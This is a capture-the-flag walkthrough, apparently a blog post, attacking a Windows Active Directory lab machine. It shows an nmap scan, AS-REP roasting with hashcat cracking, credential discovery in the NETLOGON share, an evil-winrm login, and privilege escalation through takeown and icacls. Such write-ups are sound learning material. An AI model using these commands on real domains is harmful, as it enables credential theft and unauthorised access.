VulnNet Entertainment just deployed a new instance on their network with the newly-hired system administrators. Being a security-aware company, they as always hired you to perform a penetration test, and see how system administrators are performing.

Started with nmap scan

sudo nmap -sVC -p- -Pn -A 10.49.191.240 -T5 -oN nmap_scan.txt -v

Nmap scan result

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-14 16:27:54Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc         Microsoft Windows RPC
49713/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019
Aggressive OS guesses: Windows Server 2019 (97%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-03-14T16:29:00
|_  start_date: N/A
|_clock-skew: -1s

Added the ip and domain name into our /etc/hosts file.

SMB Enumeration

Found some shares but there wasn’t anything special in these.

SMB rid bruteforcing

Lets try to enumerate users/groups by RID Bruteforcing.

lets save those usernames into clean notes.

As rep roasting

And we got hash of a t-skid user.

lets try to crack it using hashcat by hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

we successfully cracked the password of t-skid user.

List smb shares using new user

Now we have read permission to NETLOGON with this t-skid user.

Accessed NETLOGON share

Got interesting file then after downloading it and reading it got some username and password : )

Got username a-whitehat and his password.

because winrm port 5985 was open so we tried evil-winrm to log in with these credentials.

Successfully logged into a-whitehat and got shell.

Retrieved user flag

Lets check for root flag

Here we can see the root flag in the Administrator’s Desktop directory but we do not have permission to read.

lets check what privileges we have

checked privileges using whoami /priv

we have lots of privileges means there are different ways to escalate our privileges but here we will use SeTakeOwnershipPrivilege

for that invoke the following command :-

takeown /f 'C:\Users\Administrator\Desktop\system.txt'

it means now the file is owned by the current user.

now run icacls 'C:\Users\Administrator\Desktop\system.txt' /grant a-whitehat:F

It means now the current user have full access. Now we can read the final root flag.

🔗 Connect With Me

🤝 LinkedIn